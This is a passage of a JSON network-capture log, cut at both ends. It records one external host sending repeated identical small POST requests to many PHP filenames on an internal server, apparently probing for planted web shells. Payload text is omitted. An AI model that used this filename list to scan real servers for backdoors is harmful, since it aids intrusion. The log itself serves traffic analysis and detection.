            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255680.648752000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/app.php",
            "http.response_in": "745",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/app.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6c632b6d2789bded4af43941",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 744,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255682.024507000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bbr.php",
            "http.response_in": "748",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e11b4372fbb03b2af034d987",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 747,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255682.318117000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ioi.php",
            "http.response_in": "751",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ioi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e585fb750d2f39a02d9af760",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 750,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255682.592211000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/uuu.php",
            "http.response_in": "754",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/uuu.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6777f38f6ec5fd4e280680f8",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 753,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255683.065390000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/yyy.php",
            "http.response_in": "757",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/yyy.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7cbe4f25e5a2d8121f98a356",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 756,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255684.448990000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ack.php",
            "http.response_in": "760",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ack.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ff841420d67f6ab67df0f0a7",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 759,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255684.809344000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/shh.php",
            "http.response_in": "763",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/shh.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-223cdd8f687228e3b178a56e",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 762,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255685.187737000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/nnn.php",
            "http.response_in": "768",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/nnn.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b6d797f7dc24f56f4ec22697",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 767,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255690.130026000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/rrr.php",
            "http.response_in": "771",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/rrr.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-4727979a3ca1ac3f8527175c",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 770,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255690.404894000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ttt.php",
            "http.response_in": "774",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ttt.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1b787e32424ed1caf65470cc",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 773,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255691.761766000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bbqq.php",
            "http.response_in": "777",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbqq.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5500169c23867c13ba80e617",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 776,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255692.262997000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tyrant.php",
            "http.response_in": "780",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tyrant.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-fda643015ae95aa71418a536",
          "src_port": 65134,
          "tcp_stream": 24,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 779,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255693.558552000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qiqi.php",
            "http.response_in": "791",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qiqi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c9c7be2bf392c3efc00ee504",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 789,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255705.787591000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qiqi1.php",
            "http.response_in": "794",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qiqi1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b28a7905aa2de725dd54073c",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 793,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255706.365075000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/zhk.php",
            "http.response_in": "797",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/zhk.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3d8ea29f4c0159bf6930424e",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 796,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255706.971833000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/bbv.php",
            "http.response_in": "800",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/bbv.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b8c1444f161262d26fa7f5d8",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 799,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255707.428514000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/605.php",
            "http.response_in": "803",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/605.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-83bc586cf52a99ac9cef63da",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 802,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255710.403447000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/admin1.php",
            "http.response_in": "806",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/admin1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-81b579b2e180781265e47c85",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 805,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255710.705950000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xi.php",
            "http.response_in": "809",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2b73eb6acf54c83123e23eda",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 808,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255713.255546000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/999.php",
            "http.response_in": "812",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/999.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-87076b833433fb31fda80d6a",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 811,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255713.521946000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jsc.php",
            "http.response_in": "815",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jsc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c5695d941a4374e20c585ee1",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 814,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255713.788724000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jsc.php.php",
            "http.response_in": "818",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jsc.php.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cf889bd795b1790f5a37ad3d",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 817,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255714.053546000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/jsc.php",
            "http.response_in": "821",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/jsc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-bab2873861de2ff3626ba3c0",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "b9675fae78e1629a839003278047bd854656d31f0a3990d9bf192f9d81454a97",
          "frame_number": 820,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255717.020938000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/11a.php",
            "http.response_in": "824",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/11a.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-87fcac51c3449973f817a1c7",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 823,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255717.595600000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/kkl.php",
            "http.response_in": "827",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/kkl.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a3d0aceb115f9fe28ed279fa",
          "src_port": 52677,
          "tcp_stream": 25,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 826,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255717.864274000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ks1.php",
            "http.response_in": "836",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ks1.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-00ede2c076a6b8e8361032f2",
          "src_port": 54896,
          "tcp_stream": 26,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 834,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255721.789655000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ooo.php",
            "http.response_in": "846",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ooo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0d415d9dee73701f056c884e",
          "src_port": 54989,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 844,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255725.060106000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wsx.php",
            "http.response_in": "849",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wsx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-eeff56d5283e1561d8196f01",
          "src_port": 54989,
          "tcp_stream": 27,
          "udp_stream": null,
          "body_sha256": "0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83",
          "frame_number": 848,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255725.676709000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
